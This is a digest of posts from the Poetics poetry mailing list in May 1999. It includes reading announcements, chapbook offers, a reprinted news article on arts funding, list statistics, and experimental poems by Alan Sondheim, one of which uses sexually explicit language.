Erin Moure had the perhaps unenviable task of closing the proceedings, which she did with great aplomb. She has her own confident standup manner, the book drooping insouciantly from her hand like a cigarette from Keith Richard's mouth, reading quickly in spurts and pausing to look at the audience like a comedian, sometimes veering into French without blinking an eye. Her work is chatty and eclectic, swooping from formal to informal, sharp, funny, ranging over a wide field perceptually, emotionally, politically and intellectually. Peter Riley made the telling comment introducing her that while she is modestly feted in Canada, in England she would still be publishing in mimeograph.

Despite my various cavils, I would like to thank the organizers, especially Peter Riley, for putting together an (at least sometimes) very stimulating and certainly various show, and the poets for having the guts to get up there and read.

Harold Teichman

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13. Alan Sondheim
WRITING ON AMERICA
Sun 2 May 1999

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WRITING ON AMERICA

I'm getting a big Chevy New Yorker, 1973, tan with beige linings, and I'm putting in a drag plate understructure - I'm going to rig the plate with paint sprayers, 64 across - they run from the tanks of white acrylic dry- fast in the trunk - there's heat nozzles too - make sure nothing's left damp as the car heads down the nighttime highway in the middle of the night. there's a computer, too - old Pentium 100, tied to the sprayers - there's a program running - I just enter the words I want out - the prog- ram adjusts for the car speed - words appear good and hard on the pave- ment - they're ready-to-read - there are a couple of fonts as well - the whole thing can work from 0 to 55 miles an hour - it starts to blur after that - I'm on the way north from Lafayette Indiana - I spray YOU PUT YOUR BIG DICK IN MY HUNGRY HOLE - it's about a quarter-mile in length - next day on the news - I'm out of there - down through Dallas, Texas, right on the way to Fort Worth - there's a trucker on my right, bearing down - I've got to be careful - I SWALLOW YOUR COCK AND DRINK YOUR HEAVY CUM - appears under the car - just like that - the program's perfect - it's the same thing I sprayed in the Lincoln Tunnel, New Jersey to New York City right- hand lane - that made the news as well - had to get out of town - the Chrysler spotted - outside Albuquerque - _that_ was a ride - heavy on the gas all those altitudes - nice yellow-white touch in the tanks - AMERICA I WANNA BE YOUR GREEDY HOLE = FUCK ME IN MY MOUTH - even the equal sign was clear - I was going 45, almost got knocked out by a minivan - so I do go all over America - just like that - go everywhere I want - WORDS WORDS WORDS between Seattle and Bellingham - MY COCK IS ALWAYS HUNGRY FOR YOUR CUNT - awkward sentence between Providence and Fall River - do a country road or two as well - DON'T TELL ANYONE - or LOVE ME TIL THE COWS COME HOME - so I'm WRITING ON AMERICA - WORDS ON THE ROAD - so I'm LEAVING MY MARK - so I'm LEAVING MY TRACE - wherever you are YOU'LL BE READING ME - I'M HOT AND HORNY AND I WANT _YOU_ - and YOU'RE HOT AND HORNY AND YOU WANT _ME_ - outside of Omaha - near the Strategic Air Command Museum - those tiny roads - keep a lookout - I'm moving on - listen to the news - Scran- ton Pennsylvania - LISTEN TO THE NEWS -

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14. ken|n|ing
e-mail change, impending
Mon 3 May 1999

Hello all, Well, contrary to promises rendered in a post of a couple weeks back, Kenning's spring issue is delayed another week or so. Just in time to be lost in the midst or just post semester finals and academic exodus all across poetry-ville. I recommend sending lots of money my way. In lieu of lavish donations, send an email to my new address [redacted] requesting information about the magazine and I will forward an attachment with just such details. This new address should be used for all subsequent correspondence as pertains to the magazine. Also, look for a Kenning website to be announced soon. Patrick F. Durgin

k e n n i n g_____ a newsletter of contemporary poetry poetics & nonfiction writing

418 BROWN STREET #10 IOWA CITY IOWA 52245 USA

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15. Ron Silliman
Putting your money where...
Mon 3 May 1999

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from today's Gnu Yawk Thymes,

May 3, 1999

Private Donors Unite to Support Art Spurned by the Government

By JUDITH H. DOBRZYNSKI

Nearly two dozen foundations and philanthropists, reacting to cuts in federal arts spending, have joined forces to support artists who challenge convention. The new group will attempt to make up for some of the individual grants the federal government ended in 1994 after years of controversy over works dealing with nudity, sexuality and other provocative themes.

The new nonprofit organization, called Creative Capital Foundation, will be announced officially next week. But it has already made it clear that it will not shy away from the kind of innovative art that incited protests by religious and political conservatives.

"This is a boisterous, diverse country, and we have always had art that upsets people," said Archibald L. Gillies, president of the Andy Warhol Foundation for the Visual Arts and one of the new group's organizers. "Controversy," he added, "won't bother us at all."

Creative Capital hopes to raise $40 million over the next 20 years. With current assets of more than $5 million, it plans to make its first round of grants, totaling up to $1 million, early next year.

The organization will actively proselytize for freedom of expression. The grants it plans to give each year to 50 to 60 artists will requiring the winners to work with experts to develop audiences for their art and to market it.

At its peak in the late 1980s the National Endowment for the Arts awarded as much as $10.5 million a year to more than 750 individual artists in grants of $1,100 to $45,000. But since then the endowment has almost been eliminated several times by members of Congress upset by those grants and by what they said was the agency's distance from American values. It has survived, but with a budget cut nearly in half from its peak to $98 million in the current fiscal year and no appetite to make awards that would restart the cultural wars of the last decade.

Creative Capital is stepping into that breach. "The Supreme Court has ruled about pornography, but anything beyond that is fair game," Gillies said. "In this organization's absolute principles, one comes first and that is funding experimental, challenging art on its merits. Then after selecting it, we see what the marketing potential is. The nature of the content is not a factor."

With such talk, Creative Capital is throwing down the gauntlet to conservatives who in recent years have tried to shut down some exhibitions and performances. Though the fights have most often been about public financing of controversial art, mainly by the endowment, some conflicts have also centered on state and local arts grants and the commercial availability of provocative art.

The president of the Christian Coalition, Randy Tate, said on learning on Friday of the new group: "I won't condemn anything until I see it, but I would hope they use great discretion and put forward images that strengthen society and family values."

The group's grants come with a twist straight out of Wall Street and reflecting the business background of some backers (like Jeffrey Soros, nephew of George Soros, the billionaire financier). Grant winners must agree to share a portion of proceeds from their project. The cash will go back into Creative Capital's kitty, increasing its capacity to finance additional artists.

The Warhol Foundation, with a pledge to give $400,000 a year for the next three years, is Creative Capital's largest contributor. Others, including the Norton Family Foundation, the Rockefeller Foundation, the Joe and Emily Lowe Foundation, the Joyce Mertz-Gilmore Foundation and the Eli Broad Family Foundation, have each promised up to $100,000 a year.

Creative Capital's executive director, Ruby Lerner, said contributors knew that the group would seek out and not shrink from artists like Karen Finley, who often performs in the nude and famously smears her body in chocolate; Robert Mapplethorpe, whose homoerotic photographs offended many, and other artists who caused headline-making conflicts.

Ms. Lerner said she told the contributors, "We might get through the first 20 years and not have a single controversy, but we might have 50 of them in the first year."

Creative Capital plans to award grants of $5,000 to $20,000 to performing, visual and film or video artists, as well as those who make hybrid works. The money will be split roughly equally among the four categories each year.

In the hope that the culture wars are over, William J. Ivey, the national endowment's new director, has put in a $150 million budget request for the next fiscal year, up $52 million from the endowment's current allocation, and has raised the possibility of resuming individual grants. But he has made no promises about when that might happen.

Supporters of the arts say they cannot wait. "The arts are filled with energy, yet sources of public finance are more and more precarious," said Catharine R. Stimpson, dean of the Graduate School of Arts and Science at New York University. "The important issue is supporting creativity."

Ms. Stimpson has agreed to serve on Creative Capital's board, as have Laurie Anderson, the performance artist; Lewis Hyde, the writer; Ronald Feldman, a New York art dealer, and Louise A. Velazquez, a senior business adviser at the Interval Research Corp., a Silicon Valley company that is trying to engage the arts and high-tech in new ventures.

As the first big, national response to cuts in endowment grants, Creative Capital could make a difference. But he and others agree that an equally important effect may stem from the attempt to enlarge the audience for contemporary art. "Whenever individuals engage art and artists in a personal way with good interpretation and explanation, it always expands the audience," Ivey said.

Gillies described the process that Creative Capital's founders envisioned as broader than marketing. "We will ask, 'What does this project need to succeed, what does an artist need to get to the next level?"' he said.

Artists will get individual advice from an array of volunteer curators, producers, publicity agents and others who can help artists devise a plan to present their work to the widest possible audience.

That plan helped woo contributors. "Emerging artists get a lot of one-time cash awards, but this affords them something else," said Dini S. Merz, a program officer at the Emily Hall Tremaine Foundation, which is giving $300,000 over four years. "It will answer the question 'How can we help artists help themselves?"'

But will artists agree to such interference, and an untested idea at that? Yong Soon Min, a Korean-born artist who lives in California and is known for politically charged, feminist work, said she had no problems with it. "A marketing plan can be very helpful," she said. Rather, her concerns centered on Creative Capital's administrative ability to deliver on the promise.

Creative Capital has had with artists around the country not a single one has raised objections.

The revenue-sharing requirements apparently did not disturb anyone either, though the details are sketchy. Ms. Lerner said they would be worked out individually with each grant agreement, and Gillies said Creative Capital would probably ask for 10 to 15 percent of a project's gross revenues. Creative Capital would also have a cut if, say, a film, video or performance moved from a nonprofit space to a commercial theater, as the musical "Rent" did, for example.

The group has other plans to shore up the nation's artistic infrastructure: an annual retreat for grant recipients, a quarterly publication, a database of arts businesses and nonprofit groups, public events and a Web site where artists can sell their art.

All that is in the future. Creative Capital, with its small staff, first has to hustle to erect a structure for doling out money. Ms. Lerner is sending staff members into studios, theaters and other arts centers looking for prospects, is soliciting nominations from arts experts and on July 1 will start accepting applications from artists.

Those who make the initial cut will be asked for work samples, a detailed budget for their project and a schedule. The applications will go through a peer panel review process, with the winners chosen or approved by the trustees.

Ideology aside, Gillies said the winners would have projects that have artistic merit, not simply shock value.

"It's not that we'll support everything controversial," he said. "We will support what people across the country are saying is good art, is exciting, interesting art."

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16. Joel Lewis

f.y.i.

Mon 3 May 1999

*** Fabio rests after bird accident

BEVERLY HILLS, Calif. (AP) - Fabio was resting at home after being smacked in the face by a goose while riding a roller coaster at the Busch Gardens theme park. "I am grateful for all the cards and well wishes," the supermodel said in a statement issued Thursday through his manager, Eric Ashenberg. Fabio was at the Virginia theme park Tuesday to help show off the Apollo's Chariot roller coaster. The park had promoted the event as "Modern-Day 'Adonis' vs. Ancient-Day 'Sun God.'" Early into the ride, a bird slammed into his face. Fabio was treated for a one-inch cut on the bridge of his nose and released from a hospital. See http://www.infobeat.com/stories/cgi/story.cgi?id=2559029108-e41

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17. aerialedge

Announcing _Aerial 9: Bruce Andrews_ & Edge Books / Protective Immediacy Special Offer

Mon 3 May 1999

NOW AVAILABLE

Aerial 9: Bruce Andrews
ed. Rod Smith, Edge Books, 296 pgs.

Regularly $15 available postpaid to Poetics folk for $10 til June 1.

Essays, interviews, poetry by: Bruce Andrews, Kevin Davies, Jeff Derksen, Jed Rasula, Jerome Sala, Hank Lazer, Rachel Blau DuPlessis, Benjamin Friedlander, Lyn Hejinian, Nick Piombino, Andrew Levy, P. Inman, Sally Silvers, William Fuller, Tina Darragh, D S Marriott, Dodie Bellamy, Craig Watson, Robert Fitterman, Doug Lang, Lee Ann Brown, Hannah Weiner, Tim Davis, Joan Retallack, Andrew Chandler, Judith Goldman, Peter Seaton, Jacques Debrot, Robert Mittenthal, Mark Wallace, Marjorie Perloff, Peter Quartermain, Jerome McGann, Alan Golding, Charles Bernstein, & Steve Evans. Cover by Dirk Rowntree.

Also receive any of the following books for $7.50:

Protective Immediacy, Rod Smith, regularly $9.95. Just out from Roof. _Integrity & Dramatic Life_, Anselm Berrigan, regularly $10. _Sight_, Lyn Hejinian & Leslie Scalapino, regularly $12. _perhaps this is a rescue fantasy_, Heather Fuller, usually $10. _Nothing Happened and Besides I Wasn't There_,

Mark Wallace, most often $9.50. _Stepping Razor_, A.L. Nielsen, says $10 on the back.

To order. Email [redacted] w/ yr order & address & we will bill you. Or send a check to Aerial/Edge, POBox 25642, Washington, DC 20007. Before June 1!

Thanks.

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18. Brenda Ellen Uchman
*_Person (a)_*
Mon 3 May 1999

Dear Poets;

A limited number of _Person (a)_, a self-published book of 96 poems by me, Brenda Iijima, are still available. I completed _Person (a)_ in the last days of December, 1998. Each book contains a hand drawn frontispiece and an original album cover with spray painted title. _Person (a)_ was conceived as an edition of 76 copies.

A copy costs $20

Please send orders to:

Brenda Iijima
596 Bergen Street
Brooklyn, NY 11238

This email address will be obsolete after today, today being my last day of work in the Sociology Dept. at Columbia University.

My new email is [redacted]

Yours, Brenda

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19. Edward Foster
Symposium on the Work of William Bronk
Mon 3 May 1999

Call for Papers:

A symposium on the work of William Bronk is being organized by David Clippinger, Burt Kimmelman, and Ed Foster for the week-end of November 12-14, 1999. The symposium will be held at the Stevens Institute of Technology in Hoboken, New Jersey (directly across the Hudson from midtown Manhattan).

If you would be interested in presenting a paper on Bronk's work or participating in the symposium generally, please contact the symposium organizers at [redacted]. If you would like to present a paper, please send the title and a brief summary to Ed Foster, Department of Humanities, Stevens Institute of Technology, Hoboken, New Jersey.

A selection of papers read at the symposium will be published as a book the following spring.

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20. aerialedge
Bridge Street Books
Mon 3 May 1999

Sunday May 9 @ 8 PM

Lee Ann Brown
& Tom Raworth

Celebrating tehir new books _Polyverse_ from Sun & Moon, & _Meadow_ from Post-Apollo.

Sunday May 23rd @ 8 PM

Bruce Andrews

Celebrating _Aerial 9: Bruce Andrews_.

Bridge Street Books
2814 Pennsylvania Ave NW
Washington, DC
ph [redacted]

5 blocks from the Foggy Bottom Metro

ya'll come

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21. Christopher Reiner
Witz Online
Mon 3 May 1999

I'm trying a online experiment--putting an issue of Witz on the website in Acrobat format (http://www.litpress.com/witz). This is a complete issue (Summer 1998), formatted for print publication. It has Peter Quartermain's essay on Bruce Andrews's _Lip Service_, Juliana Spahr on Nick Piombino's _Light Street_, Guy Bennett on Liz Waldner, Standard Schaefer on Martha Ronk, and Brian Lucas on Normal Cole.

To read this electronic version, you will need the Adobe Acrobat reader. If you don't have the Reader, you can find it at Adobe's website (there's a link on the Witz page). But the Reader is a long download (I think it's around 5MG), so I don't really recommend getting the software just for this purpose. Many of you will already have the Reader, though; and many have already downloaded something in Acrobat format.

If you do download the file, I would appreciate a note (backchannel), to let me know if you had any technical problems (e-address is [redacted]).

If this works, I'll put more issues up in electronic format.

(By the way,, Witz is a journal of contemporary poetics, featuring *only* essays, reviews and criticism. Online queries are accepted, but not submissions.)

--

Christopher Reiner

WITZ: A Journal of Contemporary Poetics
http://www.litpress.com/witz/

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22. Poetics List

list stats

Mon 3 May 1999

These are statistics of Poetics List subscribership as of this afternoon. Chris

```
*  Country                Subscribers
*  -------              -----------
*  Australia                   13
*  Belgium                      2
*  Canada                      39
*  Finland                      1
*  Germany                        1
*  Great Britain                 24
*  Ireland                      4
*  Italy                       1
*  Japan                        8
*  New Zealand                     10
*  Poland                       1
*  Singapore                      1
*  Spain                        2
```

```
*  Sweden                    4
*  Switzerland                 2
*  Thailand                   1
*  USA                      616
*  Yugoslavia                  1
*
* Total number of users subscribed to the list:    733
* Total number of countries represented:           18
```

↑ Index

23. Chris Stroffolino

Re: STUCK IN SELF-PROMO WITH YOU

Mon 3 May 1999

9pm.....

On Sat, 1 May 1999, Rebecca Wolff wrote:

> *what time, Chris . . . .?*

↑ Index

24. cris cheek

Re: Cork 99 (apologies for cross posting)

Mon 3 May 1999

Big thanks to Randolph for his Cork(ers). My spare liver came home on the plane in a bag and has now been resituated successfully, acting as a bilge pump to our garden pond. An instance of 'we' I'm happy to sanction.

I wanted to say up here on the big public spaces how energising the Cork Conference was / is. Sure, it rained a drop. Trevor Joyce's house overflowed with hospitalities. Nourishments ranged from the Cafe Paradiso to AbraKebabRa.

But (not despite but due and thanks to that) - the poetry and the poetics was sound the way through; extremely strong readings, provocative papers, buoyant exchanges. Anybody with half a mind to go next year (and I believe there will be a next year) should put it into their priority commitment calendar on the front-burner right now.

Modesty forbade Randolph from commenting on his own reading, so I'd like to add to his otherwise generous account that, despite two cracked ribs and a savagely bitten tongue, he gave a terrific presentation of the anagrammatically encrypted 'The Republic of Ireland' (itself taxing the ribs of those present), various excerpts from '25 Poems', 'Flame' and the chilling closing section of his

more recent 'Scales' that leaves only the word 'whereas' proud of dense blocks of erasure on what I understand to be the United Nations Charter. I'm left still wondering in what ways to transact 'Satin Mac In Sale' to the coastline and its offshore reaches below the walkable twists of Cork City itself.

many thanks and greetings to all

love and love
cris

↑ Index

25. **Maria Damon**
Re: Request for Poem Ideas
Mon 3 May 1999

---

hi alan! of course i think first of Stein's "How to Write," and her children's book that starts, "A dog said he was going to learn to read." and to one (picasso?) that ends "history teaches/ history teaches." stein, it seems, is all about pedagogy. My Life, too, seems full of lessons about how to read it. Rimbaud's Voyelles (sp?) seems like a very poetic ABCdary of a sort, and Baudelaire's "COrrespondances" seems to be about how to read as well. In Lois Ann Yamanaka's Saturday Night at the Pahala Theatre, there's a poem in which one teenaged friend teaches another how to self-mutilate by cutting, which seems to me to be a writing lesson as well, a poetics of pain. then speaking of writing lessons, there's Derrida's famous writing lesson in Of Grammatology, which isn't strictly speaking a poem, but could just as well be. ditto for Foucault's "The Discourse on Language." gee i didn't know i had so much to say about this, but it actually sounds like the good basis for a poetry course! see u at bard...

At 4:29 PM -0400 4/30/99, Alan C Golding wrote:
>Dear Listmates:
>
>I'll be giving a talk at the "Poetry and Pedagogy" symposium at Bard in
>late June, and am planning to talk about poems that respond to or come out
>of a pedagogical situation or that take a pedagogical stance. Taking off
>from the aphorism in *My Life* that "the avant-garde is always
>pedagogical," my focus will be mainly--but not exclusively--on
>linguistically innovative (or whatever you want to call 'em) texts.
>Historical range is post-World War II, going from 1950s examples like
>Snodgrass' "April Inventory" and Olson's "Letter for Melville 1951"
>through something like Snyder's "What you should know to be a Poet" up
>through some of Howe's library- and scholarship-centered texts and
>Perelman's "Marginalization of Poetry." The governing question of the

>inquiry is something like this, then: How has "pedagogy," and pedagogical
>institutions, been treated in poems of this period, and what
>might the answers
>to that question suggest for transforming current pedagogical practice,
>for the teaching of challenging contemporary work, and for our
>understanding of such issues as the relationship between innovative
>writing and the academy?
>
>I'd like to draw on your collective knowledge / wisdom to generate as many
>examples as possible of poems related to this set of concerns. I'm mostly
>interested in U.S. examples, but would also like to hear about Canadian,
>British, Oz, etc. examples too. I want to distinguish between
>"pedagogical" and "didactic" too, so am a bit less interested in examples
>of the latter (i.e., Olson preaching to Gloucester, say).
>
>Anyway, I'd much appreciate hearing from you: front channel if you think
>the list would be interested and the list-meisters agree, or backchannel
>at one of these addresses: [redacted] or
>[redacted].
>
>And many thanks.
>
>All best,
>
>Alan
>_____
>
>Alan Golding
>University of Louisville
>
>[redacted]
>[redacted]

↑ Index

26. Maria Damon
mekas on weiner
Mon 3 May 1999

Steve Waksman, a former student of mine, e-mailed the following, which i know to be of interest to some on the list. keep an eye out, too, for Waksman's book, coming out in the late fall from Harvard UP: Instruments of Desire, which is a cultural history of the electric guitar.

SW: I came across this while leafing through a collection of movie notes by Jonas Mekas, one of the main organizers of the "independent" film scene in New York from the 1940s to the present. Assuming it's the same Hannah Weiner you wrote about. Did you know she made films (or at least, a film)? This is dated April 30, 1970:

Foot, by Hannah Weiner. Three minutes. Eight mm. Shown by Gain Ground Group, Thursday, April 23, at 80 Wooster Street. Autumn colors. Woods. A glimpse of one foot, then another. A foot coming into the frame and out, again into the frame and again out -- as someone walks through the woods. Only the front half of the shoe, a sandal of some sort, light blue and white, in the overexposed color. A perfect haiku. A film haiku, a short, one idea, or one image film. This silly, unpretentious little 8 mm. movie by Hannah Weiner is a much more important and more successful and more beautiful and more memorable work of film art than, say, The Man Who Lies, Mississippi Mermaid, or The Early Works. People will say: How can you compare them? One is an 8 mm. nothing, and the others are big movies. Grillet, Truffaut failed within their genre, within their form; Weiner succeeded, didn't fail, within her genre, within her form. Through Hannah Weiner's little movie one gains an aesthetic experience; through the others one gains nothing. In art, it doesn't make a bit of difference how big the undertaking: A failure is a failure. Hannah Weiner's Foot is the best movie I've seen since Ozu's I Was Born, But...

↑ Index

27. Noam Scheindlin

You Won't Find This At Barnes and Noble

Mon 3 May 1999

My new chapbook, The Proper Conditions for Flight, published by my very own G-Train press in a limited edition of 65, has just become available. Price for Poetics List is $5.

You can email me for orders and I'll send you one with a bill, or write to me:

Noam Scheindlin
100 Kent Street #3R
Brooklyn, NY 11222

Don't be left behind!
Look for future titles (by people that are not me) from G-Train books.

Best,

Noam

↑ Index

28. Alan Sondheim
Generations
Mon 3 May 1999

==

Generations

Of the beat generation, I'm, of Keruac's roadtrips, Ginsborg's screams Of the lost generation, of language's blank eyes & heartless suns My generation's smeared across the void My generation's crossed with yours, X's, Y's, wise Z's & Zeros too Of the punk generation, anger's energetic PILs & Gang of Four Humans Of the yippies, yr violent letters of revolution & Jennifer-fervor Of the cyborg generation, I'm, of Jennifer's sweet & sweaty arms Of the cyborgs, @create $thing called Alan @describe Alan as gone-world & of the holocaust generation, I'm, just look into my eyes Of the generation of Mariko Mori, hey Nikuko, I'm yours forever And of the gone-world, I'm, a generation of $things from #1 roots Of the hippies, I'm all for long lean sounds backing my heavy head Of my family's generations, I'm, crawled through European savagries only to emerge with blank generation's eyes crossed X's out & lost You'll find me everywhere, submerged in your hot worlds I swallow your generations, make them mine, nothing out of line Generations on generations, onto the seventh & beyond Generations of humans & others, generations of plants & biospheres Generations of rocks & prions, generations of airs & liquid canyons I'm there in anything you can name, any place & any time Of the blank, I'm, saying, blank, saying crossed out, saying wow

---

↑ Index

29. Wystan Curnow
address antin
Tue 4 May 1999

Dear everyrone,

have you an emailaddress for David Antin?

Wystan Curnow

↑ Index

30. George Bowering
Re: Bedight and fillyness
Tue 4 May 1999

Pete

Thanks tremenjously for sending along yr re-tired speech.

It was even better than I suspected when you glinted yr eye at mine.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

31. Sarah Hreha

Patchen news : Harry Redl pictures of Patchen and the Beats

Tue 4 May 1999

I thought this might be of interest to some..

--- begin forwarded text

Subject: Patchen news : Harry Redl pictures of Patchen and the Beats
Date: Mon, 03 May 1999 01:52:45 GMT
Organization: http://www.connectotel.com/
Reply-To: [redacted]

The photographer Harry Redl now has a web site showing his famous photos of the San Francisco Renaissance, including a photo of Kenneth Patchen with Lawrence Ferlinghetti. More pictures of Patchen are promised in the near future.

The Harry Redl page can be found at http://harryredl.com

regards
Marcus Williamson
http://www.connectotel.com/marcus

--- end forwarded text

A. Sarah Hreha
Assistant Editor
Hispanic Issues
Dept. of Spanish and Portuguese
University of Minnesota
Officer, Students for Cuba
Co-Chair, Tone Scientists
E-mail: [redacted]
http://www.tc.umn.edu/~hreh0001

↑ Index

32. Chris McCreary
address requests
Tue 4 May 1999

Hello--

Thanks in advance to anyone who has either/both of the following:

1. an e-mail or mailing address for Anne Waldman in NYC

2. an e-mail address for Michael McCool

Please backchannel. Thanks again...

--Chris McCreary

↑ Index

33. dbkk
Berkson/Friedman at SPT
Tue 4 May 1999

Small Press Traffic presents

Life/Forms:
New Ways to See It, New Ways to Say It

A weekend "residency" with Bill Berkson

Friday, May 7, 7:30 p.m.
Reading with Michael Friedman
New College Cultural Center
766 Valencia Street
$5

Saturday, May 8, 7:30 p.m.
Autobiographical Talk: "Since When"
New College Cultural Center
766 Valencia Street
$5

"Special care is language, and fusing things going on in him and on his personal tv." So wrote Ted Berrigan in Kulchur magazine about BILL BERKSON's first book, Saturday Night: Poems 1960-61. Berkson's trajectory has led him from youth along uptown Manhattan's Museum Mile to ecstasies on the Lower East Side, onward to the Bolinas mesa (where he edited Big Sky magazine and books), and from there to the upper reaches of Noe Valley, S.F. Other books strewn along the way: Shining Leaves, Recent Visitors, Enigma Variations with

drawings by Philip Guston, Blue Is The Hero, Start Over and Lush Life. Besides occupying a stellar niche in contemporary American poetry, he is an art critic, sometime curator, and, since 1984, professor of art history at the San Francisco Art Institute. For this residency, Bill Berkson will read poetry from his forthcoming book Fugue State (1990-99) and the full text of a revealing and often humorous autobiographical essay entitled "Since When."

MICHAEL FRIEDMAN grew up in New York City and now lives in Denver. His books include Arts & Letters (drawings by Duncan Hannah) (The Figures, 1996), Cameo (The Figures, 1994), Special Capacity (Intermezzo, 1992), Distinctive Belt (Mary House, 1985). Hard Press/The Figures will publish a large collection of his prose poems in the fall. He has edited Shiny Magazine since 1986, bringing out 8 issues between 1986 and 1992. Now, after a long hiatus, and with a somewhat different cast of characters, a new, guest-edited issue has appeared and he plans to continue this work. "There are two sides to every story," Friedman reminds us. "One well done, one medium rare." His own poetry is drenched in wit, and brio; its narrative mysteriously tangled with anxiety and alterity. A natural melancholia attaches itself to the underside of the poem, like Kate Winslet going back onto the Titanic after Leo's made sure she's safe in the lifeboat.

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34. Fred Muratori

Re: Request for Poem Ideas

Tue 4 May 1999

> *Dear Listmates:*
>
> *I'll be giving a talk at the "Poetry and Pedagogy" symposium at Bard in late June, and am planning to talk about poems that respond to or come out of a pedagogical situation or that take a pedagogical stance.*
>
> *Alan*

There are of course Nick Piombino's wonderful parodies of the pedagogical/academic explication of poetry in _The Gertrude Stein Awards in Innovative American Poetry_ -- I think the 93-94 volume; they're the lead-off poems.

-- Fred M.

****

Fred Muratori
([redacted])
Reference Services Division

Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

"The spaces between things keep getting bigger and more important." - John Ashbery

↑ Index

35. Lowther,John
potentially relevant to the buffalist ?
Tue 4 May 1999

---

chris a/ poetix

i've pulled this from a piece joe ransdell wrote
to the musikeion list (musical semiotics)
as it was going in directions i've been thinking
along as well relative to the poetix list

ransdell;

> *What I have in mind by this distinction is this: a forum is (like) an open space in the midst of a place having the character of a city (large or small) where many different people are engaged in many different and largely uncoordinated activities. What link them together are overlaps of interests that arise from the fact that there are resources there which all make use of in some way or another, although no given individual necessarily makes use of much if any of the resources that another one does, and may have very little if any of the same interests as another. But still, there is a unity of a heterogeneously constituted place of this sort that is given by the fact that everyone has at least a vague idea of the resources available there and thus of a likely reason why anyone else is there, and in the absence of knowledge to the contrary one naturally assumes of any given other person that there is some overlap of shared interests with them, even though one does not know what it is. This vagueness and ignorance, taken together with an optimistic spirit, provides enough for the people in that place to regard themselves as having something in common: the heterogeneously constituted place itself in its very heterogeneity.*
>
> *Now, whatever the original resource basis is, the people who are making use of the resources become resources themselves for other persons there, too, and since one never knows whether another person might not be a resource of special interest to oneself, it comes about that simply being a fellow citizen in the city is enough in itself to make each such person a kind of epitome of the whole city. This is, perhaps, the basis*

> *of the sense of identity with the city that people develop, especially in the case of cities with a very strong "personality", such as, say, Paris or San Francisco, where there is a common appreciation of one another as fellow citizens of that city. I think it holds with slackened force, perhaps very attenuated at times, in any city, but may be too feeble at times to be easily noticeable. (Los Angeles is an interesting case of extreme attenuation of what it is to be a city: a city unified as such only by the common consciousness there of it as not being "a real city" but only a sort of sham city, a celluloid Ersatz, owing to the extreme to which personal attitudes of egoism, exploitation, rapacity, and greed are taken for granted as normal there: the citizen as resource takes on the special form of being a prey. This is why the police have such an extraordinary public persona there, which is not because of the amount of crime or because of THEIR corruption -- as, say, in the case of Chicago -- but because of the normality of corruption.)*
>
> *A list that is based on the forum model is like this, in contrast with a discussion group, as that is usually understood, which means a group with a more or less generally understood agenda to which its members are expected to contribute and conform. Thus one mark of the forum as such is that there is no expectation that everybody has to find every message relevant to their interests and one thus feels free to ignore or simply zap away whatever is thought to be impertinent. Forums are essentially multi-threaded, in other words, whereas discussion groups are characteristically focused and disciplined in a way forums are not. There are strengths and weaknesses of both, but the public forum hardly exists anywhere now except on the internet, which is why people tend on the whole to prefer the forum to the discussion group: there is a need for it.*

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36. emgarrison

Pen

Tue 4 May 1999

---

what power

of
the written
word

?
just so
many many
syllables

slipping

and
tripping
the mind
to what end
?
futility
in a bottle
?
someone
get me
a fucking
corkscrew.

↑ Index

37. derek beaulieu / house press

filling Station presents: the BIG Tour!

Tue 4 May 1999

fILLING STATION Magazine
is proud to present a FREE reading by
kath macLean, rob mclennan and Anne Stone

"The Big tour"
May 15th 7:00pm
The New Gallery, 519d 9th ave sw, calgary

kath macLean is originally from Toronto. Her poetry & prose have appeared in CV2, Fiddlehead, Fireweed, Wascana Review, Other Voices, Amethyst Review, & is forthcoming in Vintage 97. "For a Cappuccino on Bloor & Other Poems" was published by Broken Jaw Press in June 1998.

rob mclennan was born in Ottawa - the author of over 2 dozen poetry chapbooks, his first full collection, "Notes on Drowning" appeared with Broken Jaw Press in May 98. A second, "bury me deep in the green wood" is forthcoming with ECW in spring 99, & a third, Manitoba highway map has just been accepted by Broken Jaw Press for summer 99.

Anne Stone is a Montreal prose-writer. Her work has appeared in Index, Matrix, and The Moosehead Anthology of Prose Poems & Sudden Fictions. A selection of her writing appeared in the chapbook "Sweet Dick

All". She has performed at galleries and spoken word venues in (and out of) Montreal - "jacks: a gothic gospel" (DC Books, 1998) is her first novel.

contact:
derek beaulieu at
[redacted]
or [redacted]
for more information

↑ Index

38. Katherine Lederer
East Coast address for The Germ?
Tue 4 May 1999

Hi,

I'm trying to get the current address for The Germ. I only have old Santa Cruz address.

Thanks,
Katy

↑ Index

39. Chris Stroffolino
Re: STUCK IN SELF-PROMO WITH YOU
Tue 4 May 1999

OOPS (the title of the first book, published by Dave Baratier)! The Printer at HARD PRESS had some problem with the lamination on the cover when the book was being bound.....

so....

the thursday night event at TRANS HUDSON
(416 west 13th st., meatpacking manhattan)
will not
be a book signing after all

just a plain old reading

by a so-called "cynical"
poet who cried wolf

come as you are....

c

On Mon, 3 May 1999, Chris Stroffolino wrote:

> *9pm.....*
>
> *On Sat, 1 May 1999, Rebecca Wolff wrote:*
>
> *what time, Chris . . . .?*

↑ Index

40. Daniel Kane
Lee Ann Brown on WriteNet
Tue 4 May 1999

T & W features poet Lee Ann Brown's lesson plan on teaching poetry via the creation of slang journals. Adapt her ideas for your own classrooms, and check this page for further updates.

---------- Go to:

http://www.writenet.org/fwir_labrown.html

↑ Index

41. Daniel Kane
Cornelius Eady on WriteNet + self promotion
Tue 4 May 1999

For those of you who may be interested:

This month, Cornelius Eady talks about his poem "Thelonious Monk" published in his book The Gathering of My Name. He discusses how students can think about incorporating music as content into their poetry. We encourage you to bring his poem into your classroom and share it with your students.

PLUS -- I and poet Julie Carr will be reading this Thursday, May 4, at Donnell Library, 20 West 53rd Street, NYC, at 6:30 pm. Across from MOMA.

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42. Leonard Brink
Gene Frumkin
Wed 5 May 1999

Falling into Meditation
a chapbook
by Gene Frumkin
is now available from Instress

Sheila E. Murphy says of Frumkin's new and selected poems _The Old Man Who Swam Away and Left Only His Wet Feet_ "Gene Frunkin brilliantly and genuinely conceives work that invites repeated reading and deepens with each new exposure...To read Gene Frumkin is to renew faith in the power of language to crystallize experience in a transformative way. This work is supremely satisfying, integrating genius and humility in writing and living."

Falling into Meditation can be had for $4, postage paid. Checks should be made payable to Leonard Brink, PO Box 3124, Saratoga, CA, 95070

↑ Index

43. derek beaulieu / house press

